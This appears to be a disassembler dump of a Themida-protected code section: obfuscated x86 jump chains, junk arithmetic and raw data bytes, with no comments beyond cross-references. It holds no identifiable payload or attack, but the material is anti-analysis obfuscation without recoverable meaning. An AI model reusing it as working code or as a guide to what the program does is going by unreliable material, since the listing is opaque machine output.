0E9742574h, 126h ; --------------------------------------------------------------------------- loc_563F08: ; CODE XREF: Themida_:0055A835j mov ah, 85h and ch, ah pop ax add ch, 1 push 4A89h mov [esp], edx mov dl, 58h and dl, 0F4h dec dl add dl, 4Dh push eax mov ah, 17h jmp loc_552B69 ; --------------------------------------------------------------------------- loc_563F2B: ; CODE XREF: Themida_:0055BCBCj pop ebx jmp loc_5642B4 ; --------------------------------------------------------------------------- loc_563F31: ; CODE XREF: Themida_:005580A9j pop edx sub esp, 4 mov [esp], eax push 4 pop eax add esi, eax mov eax, [esp] add esp, 4 jmp loc_55935D ; --------------------------------------------------------------------------- db 0BEh, 9Fh, 1Dh dd 0F2293CBDh, 0FF7CC3E9h, 5DE989FFh, 3280C281h, 5E92F46h dd 89FFFFB0h, 38B9240Ch, 81000000h, 0B411CE9h, 0E9D10150h dd 0FFFF6CC1h, 8B24048Fh, 0C332424h, 240C3124h, 8B240C33h dd 8B662424h, 51532404h, 0FFC82FE9h, 35EE81FFh, 53615711h dd 297187BBh, 5BDE2976h, 0C681C601h, 76297187h, 1135C681h dd 0EE816157h, 710548B9h, 8124048Bh, 4C4h, 0BC28E900h dd 0C180FFFFh, 80C100DAh, 0C180DAE9h, 46BCE976h, 0F75FFFFFh dd 0A8C281DAh, 899ACE01h, 60E95AD7h db 0E3h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_563FEF: ; CODE XREF: Themida_:00561D21j add edx, ebx pop ebx xchg edx, [esp] mov esp, [esp] shr ebp, 4 jmp loc_561E1A ; --------------------------------------------------------------------------- dd 0B0E9D931h db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564007: ; CODE XREF: Themida_:0055E2B9j add ch, 0C4h add ch, 0D8h inc ch push ebx push ecx jmp loc_55E11C ; --------------------------------------------------------------------------- dw 405h dd 83000000h, 48702C0h, 24248B24h, 148BD030h, 1B1FE924h dd 0DBF70000h, 0F381E3D1h, 33531588h, 2D5BD831h, 9227F209h dd 8958C231h, 24F6E9D0h, 315CFFFFh, 2434FFF8h, 5F5E685Fh dd 0EDE90000h, 0BFFFFFB0h, 3FC7E53h, 66F7E781h, 0EF817E1Ah dd 56AD0998h, 0EF81E7D1h, 4CE46E86h, 0F4E9FB31h, 0BAFFFF70h dd 39DE7A9Dh, 402ACA81h, 0EA81254Dh, 2CC0164Dh, 0FF6E33E9h dd 9BE955FFh, 0FFFFFFBCh, 0C8B2434h, 35685024h, 0E900004Ch dd 0FFFEE334h, 0FFEE835Bh, 3C8BC681h, 5CE93BBDh, 54FFFF2Eh dd 17DAE9h, 0EC835D00h, 24048904h, 89EA8952h, 0C5E95AD0h db 55h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5640CF: ; CODE XREF: Themida_:00557716j mov bl, 29h push eax mov al, bl jmp loc_55573B ; --------------------------------------------------------------------------- loc_5640D9: ; CODE XREF: Themida_:0056314Fj push dword ptr [esp] push dword ptr [esp] pop ebp push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_553970 ; --------------------------------------------------------------------------- dd 0E932FF64h, 0FFFED5F6h ; --------------------------------------------------------------------------- loc_5640F8: ; CODE XREF: Themida_:005600A4j add esp, 4 add esi, edi jmp loc_55C4DD ; --------------------------------------------------------------------------- loc_564102: ; CODE XREF: Themida_:0055DA37j sub esp, 4 mov [esp], edi push 4 pop edi sub eax, edi jmp loc_56392A ; --------------------------------------------------------------------------- loc_564115: ; CODE XREF: Themida_:00551814j push eax push 2B301C29h pop eax add eax, 1 and eax, 32721136h shr eax, 1 xor eax, 11180835h jmp loc_553DDB ; --------------------------------------------------------------------------- loc_564132: ; CODE XREF: Themida_:00558A78j mov [esp], eax jmp loc_55C70E ; --------------------------------------------------------------------------- dw 481h dd 424h, 0EC3AE900h, 3768FFFEh, 89000004h, 0F1B9240Ch dd 816AEC21h, 850EDCE9h, 0C4E1811Dh, 56441C5Eh, 855298BEh dd 5EF1215Ch, 8951D1F7h, 4C181E1h, 81000000h, 4E9h, 240C8700h dd 0FF90EEE9h, 0EA835EFFh, 24148704h, 2434895Ch, 5651E689h dd 4804B268h, 0F6815E5Bh, 217D4221h, 0F75EF189h, 565549D1h dd 255298BEh, 8326BD56h, 0F529D002h, 0C3BE565Eh, 8126BC2Ch dd 8A3ABEE6h, 0B7C7E93Ch, 0E389FFFFh, 0FFF7D5E9h, 238C0DFFh dd 0A60531A4h, 2991C7FDh, 0CF0158C7h, 7545C781h, 0EF810BC4h dd 790B5D61h, 81240C8Bh, 4C4h, 243C3300h, 0FEE77AE9h, 58F5B9FFh dd 0C801217Eh, 53D82959h, 18DE6851h, 82E92DDCh, 81000029h dd 4C4h, 8F6600h, 0FED4D5E9h, 240C89FFh, 0C6E95250h db 17h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564223: ; CODE XREF: Themida_:0055D413j add ecx, ebp add ecx, 0F013806h pop ebp jmp loc_552774 ; --------------------------------------------------------------------------- db 81h, 0C1h, 86h dd 0C70F9B34h, 1, 16E95900h, 81FFFFB2h, 880239EEh, 0E3E68163h dd 81611022h, 791B57F6h, 5EF70115h, 0FF8AA9E9h, 240489FFh dd 9E5A0FB8h, 0D6F79601h, 0FF7714E9h, 0E9F789FFh, 100Ah dd 0A1AAEB81h, 89561D23h, 4C681E6h, 0E9000000h, 0FFFF4129h ; --------------------------------------------------------------------------- loc_564288: ; CODE XREF: Themida_:0055BF5Cj mov edi, 13EC2D7Ah jmp loc_564DBA ; --------------------------------------------------------------------------- dw 0C87h dd 88A1E924h, 0C481FFFFh, 4, 48BC201h, 75136824h, 0C890000h dd 0E9E18924h, 0FFFF9D10h ; --------------------------------------------------------------------------- loc_5642B4: ; CODE XREF: Themida_:00563F2Cj push ecx push esi mov esi, 4 mov ecx, esi jmp loc_5607C6 ; --------------------------------------------------------------------------- dw 0E828h dd 240C8B66h, 2C483h, 2CF904F0h, 3DA2E990h, 33BFFFFFh dd 15DA673h, 4EE95FF9h, 0E9FFFFFFh, 0FFFED406h, 0DEE9C201h dd 0FFFFFEDBh, 50582434h, 405E089h, 2D000000h, 4 dword_564300 dd 0FFA916E9h, 12F381FFh, 9C7B48Dh, 241C8BDFh, 0C104C483h ; DATA XREF: Themida_:0053CCE8o dd 0F78104E7h, 0DAC74564h, 515FF901h, 42474FFh, 81240C8Bh dd 4C4h, 0D633E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564332: ; CODE XREF: Themida_:00555E4Fj mov ebx, [esp] add esp, 4 jmp loc_55AD40 ; --------------------------------------------------------------------------- dd 515DEE31h, 0B94C31B9h, 449CE933h, 0DFF6FFFFh, 30E9CFFEh dd 1FFFF7Ah, 24348BF2h, 4C481h, 18E90000h, 0F700000Bh dd 705E68DBh, 3C890000h, 481BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564376: ; CODE XREF: Themida_:00558145j pop ebx sub esi, 28294A70h add esi, 76A17BF5h sub esi, ebp sub esi, 76A17BF5h push eax mov eax, 28294A70h add esi, eax jmp loc_554465 ; --------------------------------------------------------------------------- loc_564398: ; CODE XREF: Themida_:00557700j mov [esp], eax jmp loc_55F0C4 ; --------------------------------------------------------------------------- loc_5643A0: ; CODE XREF: Themida_:0055E8BCj sub al, ch pop ecx pop ecx push 48CAh mov [esp], edx jmp loc_559A58 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 5BE9E089h, 83FFFFFCh, 32E904ECh, 5EFFFFC0h, 0FFE9FB31h dd 0BAFFFFAAh, 5A9866B8h, 0FFA5E0E9h db 0FFh ; --------------------------------------------------------------------------- loc_5643D5: ; CODE XREF: Themida_:00559535j pop dword ptr [esp] pop esp push eax jmp loc_55E1E7 ; --------------------------------------------------------------------------- db 80h dd 1FE9E7C5h, 5FFFFF72h, 81E28952h, 4C2h, 4EA8100h, 87000000h dd 895C2414h, 6468241Ch, 89000074h, 0E468243Ch, 8B535706h dd 0C483243Ch, 0BF575604h, 4AE334D7h, 0FF37ACE9h db 0FFh ; --------------------------------------------------------------------------- loc_56441D: ; CODE XREF: Themida_:005669DEj sub edx, 0C3B6B9B9h mov esi, edx pop edx jmp loc_562372 ; --------------------------------------------------------------------------- db 89h dd 3481243Ch, 1B701F24h, 0E1B3E927h, 8F58FFFEh, 0E95C2404h dd 0F4Fh, 0E924248Bh, 0FFFF420Fh, 4F08E7C1h, 8107E7C1h dd 0F06F26F7h, 5FFB2918h, 7DE9DF29h, 66FFFF73h, 0B1240C89h dd 0E9C8301Fh, 0FFFFC207h ; --------------------------------------------------------------------------- loc_564470: ; CODE XREF: Themida_:005589D0j mov [esp], esi mov esi, esp jmp loc_56243F ; --------------------------------------------------------------------------- dw 0D1F7h dd 69AFE981h, 0CA0128B8h, 4C28159h, 87000000h, 555C2414h dd 0E904EC83h, 0FFFF9AA4h, 8324148Bh, 16E904C4h, 66FFFF0Dh dd 0E924048Bh, 0FFFFC4E1h, 1D3DEF81h, 0C181787Dh, 3B6B668Dh dd 0E981F901h, 3B6B668Dh, 8920E95Fh, 895CFFFFh, 4BB241Ch dd 1000000h, 9EE95BDEh, 89FFFF02h, 74FF240Ch, 8F590424h dd 248B2404h, 242C8924h, 2C16F5BDh, 19BE5618h, 816B816Ch dd 927505C5h, 81F5290Eh, 927505EDh, 85E95E0Eh db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564507: ; CODE XREF: Themida_:00564768j mov ebx, [esp] add esp, 4 sub [esp+4], edi pop edi jmp loc_55E2BE ; --------------------------------------------------------------------------- db 81h dd 0E449CDC1h, 0E9D1011Ch, 0FFFF1C5Bh, 0E9EAF781h, 0EC81D9A2h dd 4, 57243489h, 4E3327BFh, 5FFE890Bh, 0FF3F67E9h, 0D5315DFFh dd 0FCE5815Ah, 81253F61h, 2E0156EDh, 54E98104h, 17B6D1Ah dd 3AD2E9E9h, 3489FFFFh, 0BE24h, 0CE290000h, 815EF189h dd 816136E9h, 8BCD01BDh, 0C481240Ch, 4, 6388F581h, 0ED81094Fh dd 1F974F72h, 0EE4C262Dh, 55E82929h, 0FEFB3CE9h db 0FFh ; --------------------------------------------------------------------------- loc_564595: ; CODE XREF: Themida_:00553BB4j add eax, 4 xchg eax, [esp] pop esp jmp loc_55A3A1 ; --------------------------------------------------------------------------- db 0B0h dd 6B8268F9h, 14890000h, 88C28824h, 34FF5AD7h, 0C60AE924h dd 0E95CFFFFh, 0FFFED12Eh ; --------------------------------------------------------------------------- loc_5645C0: ; CODE XREF: Themida_:0055BE00j shl ecx, 4 neg ecx add ecx, 1 push esi mov esi, 64566D43h shl esi, 7 xor esi, 18FF21F5h xor ecx, esi pop esi add ecx, edi push eax mov eax, 47B5B03h add eax, 1 dec eax jmp loc_557991 ; --------------------------------------------------------------------------- loc_5645EE: ; CODE XREF: Themida_:0055879Cj mov ecx, 35950C5Eh jmp loc_552600 ; --------------------------------------------------------------------------- dd 295AD129h, 240C8BCDh, 0E904C483h, 0FFFFF5B4h, 48B665Ch dd 3D7C6824h, 0C890000h, 81E18924h, 4C1h, 5EBE5600h, 5014A84Eh dd 4390BD55h, 0A9E95C72h db 9Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56462F: ; CODE XREF: Themida_:00566A92j sub ecx, 6D25708Dh jmp loc_557500 ; --------------------------------------------------------------------------- dw 31ADh dd 4EC81D8h, 89000000h, 8957240Ch, 4C781E7h, 81000000h dd 4EFh, 243C8700h, 0FED5E8E9h, 4BD55FFh, 2D000000h, 293E36F2h dd 5E9E801h, 0BBFFFF73h, 5CE1284Eh, 0FF3716E9h db 0FFh ; --------------------------------------------------------------------------- loc_564679: ; CODE XREF: Themida_:00561060j mov [esp], edx jmp loc_55D5CA ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 0FF2146E9h, 1C780FFh, 80D1EF80h, 31E97ECFh, 8B000000h dd 48F2424h, 0D5E95C24h, 5EFFFF8Bh, 8758C301h, 665C241Ch dd 66FFC183h, 2AD2C981h, 6E1C166h, 0FF5309E9h, 4BB53FFh dd 0E9000000h, 0FFFFD19Dh, 8835EF80h, 225EE9FDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5646D2: ; CODE XREF: Themida_:00553A46j inc ebp and ebp, 1086E48h sub ebp, 881CFB2Eh mov edx, ebp pop ebp xor edx, 0BA3378Dh jmp loc_55580D ; --------------------------------------------------------------------------- db 0ACh, 0E9h, 62h dd 5EFFFF99h, 4C681h, 0C6810000h, 4, 0FF433EE9h, 74FF52FFh dd 8F5A0424h, 0E95C2404h, 0FFFF859Dh ; --------------------------------------------------------------------------- loc_564714: ; CODE XREF: Themida_:00562E9Cj add ecx, 4 xchg ecx, [esp] mov esp, [esp] push 7075h mov [esp], ebx xchg ebx, [esp] push ebx not dword ptr [esp] mov ebx, [esp] jmp loc_55B8D5 ; --------------------------------------------------------------------------- dd 7126ED81h, 0ED815F64h, 702F69FDh, 8904EC83h, 0CFBA2414h dd 15A1D45h, 5348E9D5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564752: ; CODE XREF: Themida_:00563708j push ebp mov ebp, 5A7332A3h jmp loc_553C35 ; --------------------------------------------------------------------------- loc_56475D: ; CODE XREF: Themida_:005613E9j shr ebx, 4 sub ebx, 0E04F7763h mov edi, ebx jmp loc_564507 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 1C281h, 0C2810000h, 33D53C4Ch, 6577BF57h, 0FA017276h dd 5AD0215Fh, 0FFC5AFE9h db 0FFh ; --------------------------------------------------------------------------- loc_56478D: ; CODE XREF: Themida_:00553683j neg edx and edx, 6347613Dh xor edx, 6040601Ch jmp loc_55A8AF ; --------------------------------------------------------------------------- loc_5647A0: ; CODE XREF: Themida_:00560802j mov [esp], edi mov edi, 1EA76354h jmp loc_555086 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0E124E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5647B6: ; CODE XREF: Themida_:00558898j add [esp+4], edi pop edi mov eax, [esp] add esp, 4 push 0BCCh mov [esp], ebp mov ebp, 4 add eax, ebp pop ebp push ebp mov ebp, 100009B4h shl ebp, 8 jmp loc_5627FB ; --------------------------------------------------------------------------- db 83h dd 60E904ECh db 51h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5647E7: ; CODE XREF: Themida_:00554491j sub edi, 2E465083h add edi, edx jmp loc_565FE9 ; --------------------------------------------------------------------------- dd 83243C8Bh, 0C68104C4h, 2, 5C243487h, 83F9F766h, 25E904ECh dd 0B6FFFFB8h, 2D91E96Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564816: ; CODE XREF: Themida_:0055A402j mov [esp], edx push ebx push esi mov esi, 310F5B85h push 55F8h mov [esp], ecx jmp loc_55D92D ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 1C8BDE01h, 0B136824h, 34890000h, 0E9E68924h, 0FFFFDD0Bh ; --------------------------------------------------------------------------- loc_564844: ; CODE XREF: Themida_:00555553j mov ecx, [esp] add esp, 4 jmp loc_553A32 ; --------------------------------------------------------------------------- db 87h dd 248B2414h, 24148924h, 2BAh, 1662E900h, 0C568FFFFh, 8900000Fh dd 6368241Ch, 89000042h, 0BB53243Ch, 1D147EA0h, 8102E3C1h dd 4618C5C3h, 1C7DE92Fh, 0BD550000h, 4, 0E95DEB29h, 0FFFF4D5Eh dd 875AD301h, 248B241Ch, 6B8C6824h, 1C890000h, 0E9E38924h dd 0FFFF8357h, 5C240487h, 5A2434FFh, 0FFB075E9h, 0C9BD55FFh dd 0E95DC13Ch, 669h ; --------------------------------------------------------------------------- loc_5648C4: ; CODE XREF: Themida_:005624AAj mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp and ecx, esi push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop esi jmp loc_563951 ; --------------------------------------------------------------------------- db 8Bh dd 0C483241Ch, 2AE95304h, 43FFFFCBh, 2AB8B951h, 0CB010805h dd 0E9240C8Bh, 0FFFF57C9h ; --------------------------------------------------------------------------- loc_564904: ; CODE XREF: Themida_:00561E53j push 336C32C7h pop ebx add eax, 7C94D5Dh sub eax, ebx jmp loc_557D75 ; --------------------------------------------------------------------------- dw 0C381h dd 147F4E4Dh, 0E924048Bh, 0FFFF10F6h, 5C243C87h, 4C18159h dd 55000000h, 44719ABDh, 6855527Eh, 47D35646h, 0D3F5815Dh dd 814B8C1Ah, 0F4E1D5EDh, 3015E9E3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56494E: ; CODE XREF: Themida_:0055E383j xor dl, al jmp loc_55A4B5 ; --------------------------------------------------------------------------- db 57h, 54h, 5Fh dd 4C781h, 50550000h, 1F5EB8B8h, 39E94063h, 2DFFFFC6h dd 10B609F7h, 0E905E0C1h, 0FFFFA876h, 8AE4E956h, 0E951FFFFh dd 0FFFF891Ah, 104C483h, 0E684E9C8h, 8B66FFFEh, 5457240Ch dd 49B685Fh, 34890000h, 4BF5724h, 52000000h, 89F98951h dd 0BEE959CAh, 81FFFFCEh, 487FC6EDh, 5DEF0161h, 31243C33h dd 3C33243Ch, 24248B24h, 24048B66h, 8A81E955h, 1C89FFFFh dd 7D36824h, 1C8B0397h, 4EC8124h, 89000000h, 4DE92434h dd 68FFFED6h, 1BC0h, 0BD242C89h, 65CB5614h, 0EE4CE953h dd 895CFFFEh, 2252E9F1h, 0C158FFFFh, 4A4A07E2h, 0FFC191E9h dd 8BC728FFh, 40E92404h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_564A17: ; CODE XREF: Themida_:005631B4j sub esi, 3B3D1EF7h shl esi, 8 not esi jmp loc_551796 ; --------------------------------------------------------------------------- loc_564A27: ; CODE XREF: Themida_:005622A9j not dword ptr [esp] pop edi push eax mov eax, 4AD05AE0h and eax, 4CE2DA6h xor eax, 328C6A7Bh add eax, 30D04297h not eax add eax, 965F2E10h xor edi, eax jmp loc_56550C ; --------------------------------------------------------------------------- loc_564A4E: ; CODE XREF: Themida_:00556B08j xchg ebx, esi jmp loc_55C8D0 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 5E5DE829h, 0FF55CDE9h db 0FFh ; --------------------------------------------------------------------------- loc_564A61: ; CODE XREF: Themida_:00557D70j dec edi sub edi, 2E617070h add ebp, edi pop edi add ebp, 4 jmp loc_5661CF ; --------------------------------------------------------------------------- db 89h dd 5B54241Ch, 4C381h, 0C3810000h, 4, 5C241C87h, 0FF66AAE9h dd 0E08950FFh, 4E00BE56h, 81462133h, 0E36D6CF6h, 0E9DEF743h dd 0FFFF7A4Fh, 0E9240C33h, 0FFFF5720h, 0F2666D2Dh, 6E0C14Dh dd 548D0F7h, 9066B0FDh, 0FF39D9E9h, 0B60F66FFh, 63A06802h dd 24E90000h, 0F7FFFF63h, 26E0E9D7h, 148BFFFFh, 34A7E924h dd 8159FFFFh, 0B1D95FEAh, 0E9D689BCh, 0FFFEDB93h, 6D7DD668h dd 0C7815F08h, 78D653F6h, 568E9h db 0 ; --------------------------------------------------------------------------- loc_564AFD: ; CODE XREF: Themida_:005517A7j push 1F5h mov [esp], esi mov esi, 29DD54E1h xor ecx, esi mov esi, [esp] add esp, 4 shl ecx, 1 shr ecx, 2 add ecx, 3F8784CEh sub eax, 3056174h add eax, ecx push ebx mov ebx, 3056174h jmp loc_55ADD3 ; --------------------------------------------------------------------------- db 8Bh dd 0B3E9242Ch, 8BFFFF34h, 0C483243Ch, 14036804h, 4890000h dd 2474FF24h, 2434FF04h, 0FF9BC3E9h, 0C2885AFFh, 5624048Bh dd 0C681E689h, 4, 4C681h, 0D1E90000h, 0BB000007h, 4DE1495Ch dd 1728EB81h, 0CB291DBBh, 1728C381h, 0C8B1DBBh, 4C48324h dd 31BD55h, 6CE93310h, 57FFFFA6h, 0FC0F9BBFh, 4EFC105h dd 0FFF026E9h, 50E95DFFh db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564BA3: ; CODE XREF: Themida_:00552573j mov edx, [esp] push 55AEh mov [esp], edi sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 sub edx, 4 push edx jmp loc_558152 ; --------------------------------------------------------------------------- dd 0FFFFEA81h, 0BF57FFFFh, 0DB5DCD8Eh, 6EE9FA01h, 5CFFFFD9h dd 51241489h, 5355E189h, 0FF55B7E9h, 7A405FFh, 51E937A5h dd 1FFFFF0h, 0D7015AD7h, 0FFEA1CE9h, 59E94FFFh db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564C03: ; CODE XREF: Themida_:00566803j pop ecx sub esi, 1 add esi, 1E5D216Ah sub esi, 0FFFFFFFFh add esi, 35F166D4h add esi, 95359523h sub ecx, esi pop esi and eax, ecx mov ecx, [esp] add esp, 4 shr eax, 0Bh xor ecx, eax jmp loc_561DCA ; --------------------------------------------------------------------------- db 53h, 0BBh, 5Ch dd 2942F73Dh, 0C2815BDAh, 7B0C6388h, 2A88BD55h, 0CD81077Ah dd 694C51F6h, 0F708E5C1h, 48CD81DDh, 56333377h, 308A08BEh dd 8BF501B4h, 0C4832434h, 5DEA0104h, 4655C281h, 0EA815FDDh dd 51F43EBCh, 0FF369BE9h, 252D48FFh, 2939C0C9h, 0D82958C3h dd 81241C8Bh, 4C4h, 6A3C0500h, 685D12B8h, 56B4h, 0E9243C89h dd 0FFFEEBE8h, 4BB3CB81h, 0EB814599h, 4EF5324h, 9606F381h dd 0DA2939C3h, 0EC81515Bh, 4, 0B8240489h, 7320386Bh, 0E9979EB9h dd 58C129E0h, 2F0BF181h, 0CF294908h, 0E9240C8Bh, 0FFFF96D2h ; --------------------------------------------------------------------------- loc_564CDC: ; CODE XREF: Themida_:005545DBj and [edi+1Ch], edx push dword ptr [esp] push dword ptr [esp] pop edx jmp loc_556C86 ; --------------------------------------------------------------------------- db 83h dd 8B5A04C4h, 0C4812404h, 4, 0FF119CE9h, 4EC81FFh, 89000000h dd 6BE9240Ch, 80FFFF95h, 0D50014F2h, 0EB30585Ah, 0DBB65259h dd 0AFE9F028h, 0BAFFFF48h, 4, 0FFE6EEE9h, 0C2E959FFh, 89FFFF65h dd 9CE951E6h db 6, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564D37: ; CODE XREF: Themida_:0055EA9Fj xor eax, ecx pop ecx pop edi push 710Fh jmp loc_5534A3 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FFDE2FE9h, 0AFF381FFh, 50127277h, 89C638B8h, 58C331F3h dd 57CEBF57h, 4ABD5553h, 0E9C6457Dh, 0FFFFC6A6h, 815EF589h dd 324406C1h, 81E90173h, 324406E9h, 242C8B73h, 7F1468h dd 14CEE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_564D8A: ; CODE XREF: Themida_:00551D76j mov ch, 0ACh push edx push 2798h mov [esp], ebx jmp loc_55B26B ; --------------------------------------------------------------------------- dw 0BE56h dd 676C0F63h, 5346E681h, 0E6C12EABh, 4CC68104h, 8116BC65h dd 0A54EF3C6h, 0A485E948h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564DBA: ; CODE XREF: Themida_:0056428Dj sub [esp+4], edi pop edi pop eax push 2D63h mov [esp], ebx mov ebx, 69CB44C0h shr ebx, 8 xor ebx, 383D3F97h shl ebx, 7 push edi mov edi, 5F1D181Ch add edi, 5EEB6806h jmp loc_55ABF6 ; --------------------------------------------------------------------------- loc_564DEA: ; CODE XREF: Themida_:0056692Bj add edi, 4D200755h shl edi, 6 add edi, 5B294B0Ah xor edi, 5B783D20h jmp loc_5666BA ; --------------------------------------------------------------------------- dd 0F629D7B8h, 2E0C155h, 0D8F7D0F7h, 4449DB2Dh, 0B9D1E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564E1A: ; CODE XREF: Themida_:00552E2Fj sub esi, 48A457EBh jmp loc_5612A2 ; --------------------------------------------------------------------------- loc_564E25: ; CODE XREF: Themida_:0055951Aj push dword ptr [esp] push dword ptr [esp] pop esi jmp loc_5573E4 ; --------------------------------------------------------------------------- loc_564E31: ; CODE XREF: Themida_:00559262j not edi jmp loc_560E1B ; --------------------------------------------------------------------------- dd 83241C89h, 3C8904ECh, 103AE924h, 0EE81FFFFh, 8D621FCh dd 89A1E957h, 0F181FFFFh, 0F72FD4EFh, 8159CF29h, 201364EFh dd 5E7C176h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_562CDC ; --------------------------------------------------------------------------- dd 37E9E5B0h, 81FFFFBBh, 4ECh, 240C8900h, 35856856h, 348B440Fh dd 4C48124h, 0E9000000h, 0FFFED0FAh, 521F6845h, 70E90000h db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_564EA7: ; CODE XREF: Themida_:0055ABCFj pop esp jmp loc_55C5D9 ; --------------------------------------------------------------------------- db 57h, 0E9h, 48h dd 0B9FFFF8Fh, 3CF87AB9h, 0FFEEE4E9h, 0D85205FFh, 0C101F8F5h dd 4B85058h, 1000000h, 0DCE958C1h, 49FFFF3Dh, 69C2F181h dd 0C9812131h, 697A1DADh, 8107E9C1h, 7A6C30E1h, 56D9F73Ah dd 0FF67DAE9h, 79BE56FFh, 8132874Fh, 65473EF6h, 43F68167h dd 8955E208h, 0DD895EF3h, 5DE8895Bh, 0FF8E45E9h db 0FFh ; --------------------------------------------------------------------------- loc_564F11: ; CODE XREF: Themida_:005612D8j add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] loc_564F23: ; CODE XREF: Themida_:00552AABj push 386Eh jmp loc_563631 ; --------------------------------------------------------------------------- db 4Dh, 52h, 0BAh dd 29D30918h, 5EE9D501h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564F3B: ; CODE XREF: Themida_:00565FE4j push ebx jmp loc_551CEF ; --------------------------------------------------------------------------- db 5Dh, 83h, 0C4h dd 4C18304h, 2474FF51h, 240C8B04h, 4C481h, 48F0000h, 48B5C24h dd 7C406824h, 3C890000h, 56E78924h, 4BEh, 5EF70100h, 4EC81h dd 14890000h, 7CBB5324h, 0BA3F9A6Eh, 0C0659188h, 815BDA01h dd 3A1E21EFh, 0ADC7814Eh, 1578009h, 0D80AE9D7h, 68FFFFh dd 0E9000000h, 0FFFF5D09h, 0A249C305h, 4875E17h, 0A2E95C24h dd 0FFFFFF71h, 34FF2434h, 68515824h, 46FFh, 0E9242489h dd 0FFFF675Eh ; --------------------------------------------------------------------------- loc_564FC8: ; CODE XREF: Themida_:00557BABj add esp, 4 add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_556295 ; --------------------------------------------------------------------------- dd 7064BD55h, 0D14D52EBh, 7FB951EDh, 815C192Eh, 0A0144BE1h dd 0E981414Dh, 2F4616F8h, 5F50E981h, 0E9812597h, 0F1836DF4h dd 0FF0B67E9h, 0E9F801FFh, 0FFFEC97Ch, 805AD508h, 1B68A3C5h dd 8900002Fh, 51532414h, 0F5E99CB5h, 33FFFF67h, 248B243Ch dd 3B9EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565036: ; CODE XREF: Themida_:0055A46Dj sub eax, 33D5578Ch add eax, edi add eax, 33D5578Ch pop edi add ebx, eax jmp loc_559586 ; --------------------------------------------------------------------------- dd offset aPpgip ; "Pp£¨P\a" dw 8900h dd 0E9572434h, 0FFFF7DD4h, 6853DF01h, 479657CEh, 0FF3643E9h dd 0C1D7F7FFh, 0EF8104E7h, 0AD41B6EAh, 34FFF989h, 0C4815F24h dd 4, 847E9h, 2434FF00h, 6C7F6858h, 34890000h, 835E5424h dd 348904ECh, 81E68924h, 4C6h, 0E9575200h, 0FFFFC0C6h dd 2434FF51h, 0FED3C6E9h, 0C63CE9FFh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5650B2: ; CODE XREF: Themida_:00557C57j mov [esp], ebx jmp loc_5518FD ; --------------------------------------------------------------------------- dw 431h dd 24043324h, 0FF25F9E9h db 0FFh ; --------------------------------------------------------------------------- loc_5650C5: ; CODE XREF: Themida_:005656E2j add edx, eax jmp loc_55C608 ; --------------------------------------------------------------------------- dd 4C48159h, 81000000h, 223FADC6h, 0E9EE0160h, 0FFFFAD5Dh ; --------------------------------------------------------------------------- loc_5650E0: ; CODE XREF: Themida_:00558D47j add esp, 4 xor ecx, 5F3F76FFh and eax, ecx jmp loc_558D96 ; --------------------------------------------------------------------------- db 83h dd 348904ECh, 0BE24h, 0C6290000h, 4EC81h, 34890000h, 355E5824h dd 69013228h, 6C4C9E2Dh, 82B95153h, 8146016Bh, 6CCD06C1h dd 59C831ECh, 3881EA81h, 0C2297521h, 0FF921CE9h, 6C181FFh dd 0FF1A1434h, 1C8B2434h, 4C48124h, 0E9000000h, 0FFFF54B4h ; --------------------------------------------------------------------------- loc_565148: ; CODE XREF: Themida_:0055CC8Ej mov [esp], eax mov eax, 26412970h jmp loc_55B717 ; --------------------------------------------------------------------------- db 81h, 0C5h, 8Ah dd 8B3F546Dh, 0C4832434h, 1AC58104h, 8B0EA90Ah, 0C4812434h dd 4, 8702C583h, 0E7E9242Ch, 81FFFEFAh, 543739C5h, 5DEB293Ah dd 2394C381h, 0F3817917h, 196C4BB8h, 68E9DD01h, 5AFFFFC5h dd 5F64BF57h, 0D7F74CCCh, 0FF2764E9h db 0FFh ; --------------------------------------------------------------------------- loc_5651A5: ; CODE XREF: Themida_:00565E17j pop edi xor ebx, 19D475EBh add ebx, 3BA68E1h inc ebx jmp loc_562705 ; --------------------------------------------------------------------------- dd 1B6EEF81h, 0E95A3E5Fh, 0FFFEFCB7h, 89240C89h, 4C181E1h dd 0E9000000h, 1ACh ; 